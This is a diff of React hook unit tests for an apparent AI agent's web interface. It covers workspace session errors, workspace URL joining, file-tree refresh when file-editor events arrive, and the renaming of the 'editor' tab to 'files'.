useActiveConversationMock.mockReturnValue({ data: undefined });
|
||||
|
||||
renderHook(() => useWorkspaceSession(), { wrapper: makeWrapper() });
|
||||
|
||||
await flushScheduler();
|
||||
expect(startWorkspaceSessionMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("surfaces the error when the workspace-session POST fails", async () => {
|
||||
useActiveConversationMock.mockReturnValue({
|
||||
data: {
|
||||
id: "conv-1",
|
||||
conversation_url: "https://agent.example.com/api/conversations/conv-1",
|
||||
session_api_key: "bad-key",
|
||||
},
|
||||
});
|
||||
startWorkspaceSessionMock.mockRejectedValue(new Error("401 Unauthorized"));
|
||||
|
||||
const { result } = renderHook(() => useWorkspaceSession(), {
|
||||
wrapper: makeWrapper(),
|
||||
});
|
||||
|
||||
await waitFor(() => expect(result.current.isError).toBe(true));
|
||||
expect(result.current.error?.message).toMatch(/401/);
|
||||
expect(result.current.data).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("joinWorkspaceUrl", () => {
|
||||
const base = "https://agent.example.com/api/conversations/c1/workspace/";
|
||||
|
||||
it("returns the base URL when no relative path is supplied", () => {
|
||||
expect(joinWorkspaceUrl(base)).toBe(base);
|
||||
expect(joinWorkspaceUrl(base, "")).toBe(base);
|
||||
expect(joinWorkspaceUrl(base, null)).toBe(base);
|
||||
});
|
||||
|
||||
it("appends a single-segment path", () => {
|
||||
expect(joinWorkspaceUrl(base, "index.html")).toBe(`${base}index.html`);
|
||||
});
|
||||
|
||||
it("appends nested paths preserving separators", () => {
|
||||
expect(joinWorkspaceUrl(base, "src/components/App.tsx")).toBe(
|
||||
`${base}src/components/App.tsx`,
|
||||
);
|
||||
});
|
||||
|
||||
it("strips leading slashes on the relative path", () => {
|
||||
expect(joinWorkspaceUrl(base, "/index.html")).toBe(`${base}index.html`);
|
||||
expect(joinWorkspaceUrl(base, "///deep/path.md")).toBe(
|
||||
`${base}deep/path.md`,
|
||||
);
|
||||
});
|
||||
|
||||
it("URL-encodes individual segments but not the separators", () => {
|
||||
expect(joinWorkspaceUrl(base, "my files/has spaces.txt")).toBe(
|
||||
`${base}my%20files/has%20spaces.txt`,
|
||||
);
|
||||
expect(joinWorkspaceUrl(base, "tëst/résumé.pdf")).toBe(
|
||||
`${base}t%C3%ABst/r%C3%A9sum%C3%A9.pdf`,
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,377 @@
|
||||
import { describe, it, expect, beforeEach, vi } from "vitest";
|
||||
import { act, renderHook } from "@testing-library/react";
|
||||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
import React from "react";
|
||||
|
||||
import { useAutoRefreshFilesOnEdit } from "#/hooks/use-auto-refresh-files-on-edit";
|
||||
import { useEventStore } from "#/stores/use-event-store";
|
||||
import type { OHEvent } from "#/stores/use-event-store";
|
||||
import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter";
|
||||
|
||||
function makeWrapper(client: QueryClient) {
|
||||
return ({ children }: { children: React.ReactNode }) => (
|
||||
<QueryClientProvider client={client}>{children}</QueryClientProvider>
|
||||
);
|
||||
}
|
||||
|
||||
function makeObservationEvent(
|
||||
id: string,
|
||||
kind: string,
|
||||
command: string,
|
||||
): OHEvent {
|
||||
return {
|
||||
id,
|
||||
timestamp: new Date(Date.now() + Number(id.replace(/\D/g, "")) * 1000)
|
||||
.toISOString(),
|
||||
source: "environment",
|
||||
tool_name: "str_replace_based_edit_tool",
|
||||
tool_call_id: `tc-${id}`,
|
||||
action_id: `act-${id}`,
|
||||
observation: {
|
||||
kind,
|
||||
command,
|
||||
path: "/workspace/project/foo.txt",
|
||||
old_content: null,
|
||||
new_content: "hello",
|
||||
output: "ok",
|
||||
},
|
||||
} as unknown as OHEvent;
|
||||
}
|
||||
|
||||
describe("useAutoRefreshFilesOnEdit", () => {
|
||||
beforeEach(() => {
|
||||
act(() => {
|
||||
useEventStore.getState().clearEvents();
|
||||
// Reset the workspace mutation counter so per-test counter assertions
|
||||
// don't see ticks bled over from earlier tests.
|
||||
useWorkspaceMutationCounter.setState({ count: 0 });
|
||||
});
|
||||
});
|
||||
|
||||
it("invalidates workspace queries when a mutating file editor observation arrives", () => {
|
||||
const client = new QueryClient();
|
||||
const spy = vi.spyOn(client, "invalidateQueries");
|
||||
|
||||
renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
expect(spy).not.toHaveBeenCalled();
|
||||
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(
|
||||
makeObservationEvent("1", "FileEditorObservation", "str_replace"),
|
||||
);
|
||||
});
|
||||
|
||||
const invalidatedKeys = spy.mock.calls.map(
|
||||
(call) => (call[0] as { queryKey: unknown[] }).queryKey[0],
|
||||
);
|
||||
expect(invalidatedKeys).toContain("workspace-files");
|
||||
expect(invalidatedKeys).toContain("workspace-file-content");
|
||||
expect(invalidatedKeys).toContain("file_changes");
|
||||
});
|
||||
|
||||
it("ignores read-only `view` observations", () => {
|
||||
const client = new QueryClient();
|
||||
const spy = vi.spyOn(client, "invalidateQueries");
|
||||
|
||||
renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(makeObservationEvent("1", "FileEditorObservation", "view"));
|
||||
});
|
||||
|
||||
expect(spy).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("ignores non-file observation kinds", () => {
|
||||
const client = new QueryClient();
|
||||
const spy = vi.spyOn(client, "invalidateQueries");
|
||||
|
||||
renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(
|
||||
makeObservationEvent("1", "ExecuteBashObservation", "ls"),
|
||||
);
|
||||
});
|
||||
|
||||
expect(spy).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("bumps the workspace mutation counter on each mutating observation so iframes / images cache-bust", () => {
|
||||
const client = new QueryClient();
|
||||
|
||||
renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(0);
|
||||
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(
|
||||
makeObservationEvent("1", "FileEditorObservation", "str_replace"),
|
||||
);
|
||||
});
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(1);
|
||||
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(
|
||||
makeObservationEvent(
|
||||
"2",
|
||||
"StrReplaceEditorObservation",
|
||||
"create",
|
||||
),
|
||||
);
|
||||
});
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(2);
|
||||
});
|
||||
|
||||
it("does NOT bump the workspace mutation counter for read-only / non-file observations", () => {
|
||||
const client = new QueryClient();
|
||||
|
||||
renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(makeObservationEvent("1", "FileEditorObservation", "view"));
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(
|
||||
makeObservationEvent("2", "ExecuteBashObservation", "ls"),
|
||||
);
|
||||
});
|
||||
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(0);
|
||||
});
|
||||
|
||||
it("still reacts to mutations that arrive out-of-order (older timestamp inserted between newer events)", () => {
|
||||
// Regression test for a bug where the hook used `events.slice(processedCount)`
|
||||
// to find new events. The event store re-sorts by timestamp on insert,
|
||||
// so a late-arriving older event lands *between* two newer ones and
|
||||
// the tail slice would miss it.
|
||||
const client = new QueryClient();
|
||||
const spy = vi.spyOn(client, "invalidateQueries");
|
||||
|
||||
renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
// First, push two newer events. The id-numbers drive the timestamp,
|
||||
// so id "10" is later than id "5". Both land in the same effect run
|
||||
// (we coalesce — one bump per batch, not per event), so count goes
|
||||
// from 0 → 1.
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(makeObservationEvent("10", "FileEditorObservation", "create"));
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(makeObservationEvent("20", "FileEditorObservation", "create"));
|
||||
});
|
||||
const callsAfterInitial = spy.mock.calls.length;
|
||||
expect(callsAfterInitial).toBeGreaterThan(0);
|
||||
const countAfterInitial = useWorkspaceMutationCounter.getState().count;
|
||||
expect(countAfterInitial).toBe(1);
|
||||
|
||||
// Now insert an OLDER event (id "5" → earliest timestamp). The store
|
||||
// re-sorts so the events array becomes [e5, e10, e20]. The previous
|
||||
// "slice from index 2" approach would return [e20] only and miss e5
|
||||
// entirely — no invalidation, no cache-bust, stale iframe.
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(makeObservationEvent("5", "FileEditorObservation", "create"));
|
||||
});
|
||||
|
||||
// We should have invalidated again and bumped the counter exactly once
|
||||
// more for the late-arriving mutation (count: 1 → 2).
|
||||
expect(spy.mock.calls.length).toBeGreaterThan(callsAfterInitial);
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(
|
||||
countAfterInitial + 1,
|
||||
);
|
||||
});
|
||||
|
||||
it("processes each id-less event distinctly (does NOT collapse them via an `undefined` Set key)", () => {
|
||||
// The event store explicitly allows events without ids
|
||||
// (`getEventId` returns undefined for them). If the hook keyed dedup
|
||||
// on `event.id` naively, a single `undefined` entry in the Set would
|
||||
// swallow every subsequent id-less event — silently dropping real
|
||||
// mutations on the floor.
|
||||
//
|
||||
// Verifies via three SEPARATE act() calls (one per event) so each
|
||||
// store mutation gets its own effect-flush. The counter bumps once
|
||||
// per flush that found at least one new mutation; three flushes →
|
||||
// counter ends at 3. Putting all three addEvent calls inside a
|
||||
// single act() would batch them into one flush (counter=1) and
|
||||
// verify nothing useful.
|
||||
const client = new QueryClient();
|
||||
|
||||
renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
// Three distinct id-less FileEditorObservation events (different
|
||||
// timestamps so the store treats them as ordered, not duplicates).
|
||||
const idlessEvent = (i: number): OHEvent =>
|
||||
({
|
||||
// no `id` field at all → getEventId returns undefined
|
||||
timestamp: new Date(2026, 0, 1, 0, 0, i).toISOString(),
|
||||
source: "environment",
|
||||
tool_name: "str_replace_based_edit_tool",
|
||||
tool_call_id: `tc-idless-${i}`,
|
||||
action_id: `act-idless-${i}`,
|
||||
observation: {
|
||||
kind: "FileEditorObservation",
|
||||
command: "create",
|
||||
path: `/workspace/project/foo${i}.txt`,
|
||||
old_content: null,
|
||||
new_content: "hello",
|
||||
output: "ok",
|
||||
},
|
||||
}) as unknown as OHEvent;
|
||||
|
||||
act(() => {
|
||||
useEventStore.getState().addEvent(idlessEvent(1));
|
||||
});
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(1);
|
||||
|
||||
act(() => {
|
||||
useEventStore.getState().addEvent(idlessEvent(2));
|
||||
});
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(2);
|
||||
|
||||
act(() => {
|
||||
useEventStore.getState().addEvent(idlessEvent(3));
|
||||
});
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(3);
|
||||
});
|
||||
|
||||
it("does NOT re-bump on subsequent renders for the same id-less event", () => {
|
||||
// Companion to the previous test, targeting the *other* half of the
|
||||
// id-less dedup contract: each id-less event must be processed
|
||||
// exactly ONCE across the lifetime of the hook. Without
|
||||
// reference-based dedup (`processedEventsRef` WeakSet) the events
|
||||
// array — which is rebuilt on every store mutation but keeps stable
|
||||
// element references — would cause the same id-less event to
|
||||
// re-trigger the bump on every subsequent re-render, spamming
|
||||
// cache invalidations.
|
||||
const client = new QueryClient();
|
||||
|
||||
const { rerender } = renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
const idlessEvent: OHEvent = {
|
||||
timestamp: new Date(2026, 0, 1, 0, 0, 0).toISOString(),
|
||||
source: "environment",
|
||||
tool_name: "str_replace_based_edit_tool",
|
||||
tool_call_id: "tc-idless-stable",
|
||||
action_id: "act-idless-stable",
|
||||
observation: {
|
||||
kind: "FileEditorObservation",
|
||||
command: "create",
|
||||
path: "/workspace/project/foo.txt",
|
||||
old_content: null,
|
||||
new_content: "hello",
|
||||
output: "ok",
|
||||
},
|
||||
} as unknown as OHEvent;
|
||||
|
||||
act(() => {
|
||||
useEventStore.getState().addEvent(idlessEvent);
|
||||
});
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(1);
|
||||
|
||||
// Force several extra re-renders without adding new events. The
|
||||
// id-less event still sits in the events array on every re-render,
|
||||
// but the WeakSet dedup must prevent it from being re-processed.
|
||||
rerender();
|
||||
rerender();
|
||||
rerender();
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(1);
|
||||
});
|
||||
|
||||
it("dedupes numeric event ids the same way as string ids", () => {
|
||||
// The formal EventID type is `string`, but the event store carries
|
||||
// `Set<string | number>` defensively (use-event-store.ts:52) and
|
||||
// `getEventId` returns `string | number | undefined`. The hook's
|
||||
// processed-ids set is widened to match — a stray numeric id (legacy
|
||||
// payload, hand-crafted test event, …) must still dedup correctly.
|
||||
const client = new QueryClient();
|
||||
|
||||
renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
const numericEvent: OHEvent = {
|
||||
id: 42 as unknown as string, // intentionally numeric at runtime
|
||||
timestamp: new Date(2026, 0, 1, 0, 0, 1).toISOString(),
|
||||
source: "environment",
|
||||
tool_name: "str_replace_based_edit_tool",
|
||||
tool_call_id: "tc-num",
|
||||
action_id: "act-num",
|
||||
observation: {
|
||||
kind: "FileEditorObservation",
|
||||
command: "create",
|
||||
path: "/workspace/project/foo.txt",
|
||||
old_content: null,
|
||||
new_content: "hello",
|
||||
output: "ok",
|
||||
},
|
||||
} as unknown as OHEvent;
|
||||
|
||||
act(() => {
|
||||
useEventStore.getState().addEvent(numericEvent);
|
||||
});
|
||||
const afterFirst = useWorkspaceMutationCounter.getState().count;
|
||||
expect(afterFirst).toBe(1);
|
||||
|
||||
// Re-adding the same numeric-id event must be a no-op for the
|
||||
// counter (store dedups on id; hook must too).
|
||||
act(() => {
|
||||
useEventStore.getState().addEvent({ ...numericEvent });
|
||||
});
|
||||
expect(useWorkspaceMutationCounter.getState().count).toBe(afterFirst);
|
||||
});
|
||||
|
||||
it("only invalidates once per new event batch", () => {
|
||||
const client = new QueryClient();
|
||||
const spy = vi.spyOn(client, "invalidateQueries");
|
||||
|
||||
const { rerender } = renderHook(() => useAutoRefreshFilesOnEdit(), {
|
||||
wrapper: makeWrapper(client),
|
||||
});
|
||||
|
||||
act(() => {
|
||||
useEventStore
|
||||
.getState()
|
||||
.addEvent(makeObservationEvent("1", "FileEditorObservation", "create"));
|
||||
});
|
||||
|
||||
const callsAfterFirst = spy.mock.calls.length;
|
||||
expect(callsAfterFirst).toBeGreaterThan(0);
|
||||
|
||||
// Re-render without adding new events — should not re-invalidate.
|
||||
rerender();
|
||||
expect(spy.mock.calls.length).toBe(callsAfterFirst);
|
||||
});
|
||||
});
|
||||
@@ -36,28 +36,34 @@ describe("useDraftPersistence", () => {
|
||||
// Default mock for useConversationLocalStorageState
|
||||
vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({
|
||||
state: {
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
},
|
||||
setSelectedTab: vi.fn(),
|
||||
setRightPanelShown: vi.fn(),
|
||||
setUnpinnedTabs: vi.fn(),
|
||||
setConversationMode: vi.fn(),
|
||||
setDraftMessage: mockSetDraftMessage,
|
||||
setFilesTabDiffView: vi.fn(),
|
||||
setFilesTabContentViewMode: vi.fn(),
|
||||
});
|
||||
|
||||
// Default mock for getConversationState
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
});
|
||||
|
||||
@@ -74,12 +80,14 @@ describe("useDraftPersistence", () => {
|
||||
const chatInputRef = createMockChatInputRef();
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: savedDraft,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
// Act
|
||||
@@ -97,12 +105,14 @@ describe("useDraftPersistence", () => {
|
||||
const chatInputRef = createMockChatInputRef(existingContent);
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: savedDraft,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
// Act
|
||||
@@ -118,12 +128,14 @@ describe("useDraftPersistence", () => {
|
||||
const chatInputRef = createMockChatInputRef("Some stale content");
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
// Act
|
||||
@@ -206,27 +218,33 @@ describe("useDraftPersistence", () => {
|
||||
|
||||
vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({
|
||||
state: {
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: existingDraft,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
},
|
||||
setSelectedTab: vi.fn(),
|
||||
setRightPanelShown: vi.fn(),
|
||||
setUnpinnedTabs: vi.fn(),
|
||||
setConversationMode: vi.fn(),
|
||||
setDraftMessage: mockSetDraftMessage,
|
||||
setFilesTabDiffView: vi.fn(),
|
||||
setFilesTabContentViewMode: vi.fn(),
|
||||
});
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: existingDraft,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
const { result } = renderHook(() =>
|
||||
@@ -306,20 +324,24 @@ describe("useDraftPersistence", () => {
|
||||
// First conversation has a draft
|
||||
vi.mocked(conversationLocalStorage.getConversationState)
|
||||
.mockReturnValueOnce({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: "Draft from conv A",
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
})
|
||||
.mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
const { rerender } = renderHook(
|
||||
@@ -342,20 +364,24 @@ describe("useDraftPersistence", () => {
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState)
|
||||
.mockReturnValueOnce({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
})
|
||||
.mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: draftForConvB,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
const { rerender } = renderHook(
|
||||
@@ -409,12 +435,14 @@ describe("useDraftPersistence", () => {
|
||||
const chatInputRef = createMockChatInputRef("Draft typed during init");
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
const { rerender } = renderHook(
|
||||
@@ -444,12 +472,14 @@ describe("useDraftPersistence", () => {
|
||||
const chatInputRef = createMockChatInputRef("");
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
const { rerender } = renderHook(
|
||||
@@ -471,12 +501,14 @@ describe("useDraftPersistence", () => {
|
||||
const chatInputRef = createMockChatInputRef("Some draft");
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
const { rerender } = renderHook(
|
||||
@@ -502,18 +534,22 @@ describe("useDraftPersistence", () => {
|
||||
|
||||
vi.mocked(conversationLocalStorage.useConversationLocalStorageState).mockReturnValue({
|
||||
state: {
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: "Existing draft",
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
},
|
||||
setSelectedTab: vi.fn(),
|
||||
setRightPanelShown: vi.fn(),
|
||||
setUnpinnedTabs: vi.fn(),
|
||||
setConversationMode: vi.fn(),
|
||||
setDraftMessage: mockSetDraftMessage,
|
||||
setFilesTabDiffView: vi.fn(),
|
||||
setFilesTabContentViewMode: vi.fn(),
|
||||
});
|
||||
|
||||
// Act
|
||||
@@ -545,12 +581,14 @@ describe("useDraftPersistence", () => {
|
||||
const chatInputRef = createMockChatInputRef();
|
||||
|
||||
vi.mocked(conversationLocalStorage.getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
subConversationTaskId: null,
|
||||
draftMessage: "Draft to restore",
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
// Act
|
||||
|
||||
@@ -88,12 +88,14 @@ describe("useHandlePlanClick", () => {
|
||||
);
|
||||
|
||||
vi.mocked(getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
subConversationTaskId: null,
|
||||
conversationMode: "code",
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
});
|
||||
|
||||
@@ -118,12 +120,14 @@ describe("useHandlePlanClick", () => {
|
||||
);
|
||||
|
||||
vi.mocked(getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
subConversationTaskId: storedTaskId,
|
||||
conversationMode: "code",
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
renderHook(() => useHandlePlanClick());
|
||||
@@ -157,12 +161,14 @@ describe("useHandlePlanClick", () => {
|
||||
);
|
||||
|
||||
vi.mocked(getConversationState).mockReturnValue({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
subConversationTaskId: storedTaskId,
|
||||
conversationMode: "code",
|
||||
draftMessage: null,
|
||||
filesTabDiffView: null,
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
renderHook(() => useHandlePlanClick());
|
||||
|
||||
@@ -33,11 +33,11 @@ describe("useSelectConversationTab", () => {
|
||||
|
||||
// Act: Select a tab
|
||||
act(() => {
|
||||
result.current.selectTab("editor");
|
||||
result.current.selectTab("files");
|
||||
});
|
||||
|
||||
// Assert: Panel should be open and tab selected
|
||||
expect(useConversationStore.getState().selectedTab).toBe("editor");
|
||||
expect(useConversationStore.getState().selectedTab).toBe("files");
|
||||
expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
|
||||
|
||||
// Verify localStorage was updated
|
||||
@@ -46,14 +46,14 @@ describe("useSelectConversationTab", () => {
|
||||
`conversation-state-${TEST_CONVERSATION_ID}`,
|
||||
)!,
|
||||
);
|
||||
expect(storedState.selectedTab).toBe("editor");
|
||||
expect(storedState.selectedTab).toBe("files");
|
||||
expect(storedState.rightPanelShown).toBe(true);
|
||||
});
|
||||
|
||||
it("should close panel when clicking the same active tab", () => {
|
||||
// Arrange: Panel is open with editor tab selected
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
@@ -62,7 +62,7 @@ describe("useSelectConversationTab", () => {
|
||||
|
||||
// Act: Click the same tab again
|
||||
act(() => {
|
||||
result.current.selectTab("editor");
|
||||
result.current.selectTab("files");
|
||||
});
|
||||
|
||||
// Assert: Panel should be closed
|
||||
@@ -80,7 +80,7 @@ describe("useSelectConversationTab", () => {
|
||||
it("should switch to different tab when panel is already open", () => {
|
||||
// Arrange: Panel is open with editor tab selected
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
@@ -110,7 +110,7 @@ describe("useSelectConversationTab", () => {
|
||||
it("should return true when tab is selected and panel is visible", () => {
|
||||
// Arrange: Panel is open with editor tab selected
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
@@ -118,13 +118,13 @@ describe("useSelectConversationTab", () => {
|
||||
const { result } = renderHook(() => useSelectConversationTab());
|
||||
|
||||
// Assert: Editor tab should be active
|
||||
expect(result.current.isTabActive("editor")).toBe(true);
|
||||
expect(result.current.isTabActive("files")).toBe(true);
|
||||
});
|
||||
|
||||
it("should return false when tab is selected but panel is not visible", () => {
|
||||
// Arrange: Editor tab selected but panel is closed
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: false,
|
||||
hasRightPanelToggled: false,
|
||||
});
|
||||
@@ -132,13 +132,13 @@ describe("useSelectConversationTab", () => {
|
||||
const { result } = renderHook(() => useSelectConversationTab());
|
||||
|
||||
// Assert: Editor tab should not be active
|
||||
expect(result.current.isTabActive("editor")).toBe(false);
|
||||
expect(result.current.isTabActive("files")).toBe(false);
|
||||
});
|
||||
|
||||
it("should return false when different tab is selected", () => {
|
||||
// Arrange: Panel is open with editor tab selected
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
@@ -181,7 +181,7 @@ describe("useSelectConversationTab", () => {
|
||||
it("should set tab to null when passing null", () => {
|
||||
// Arrange
|
||||
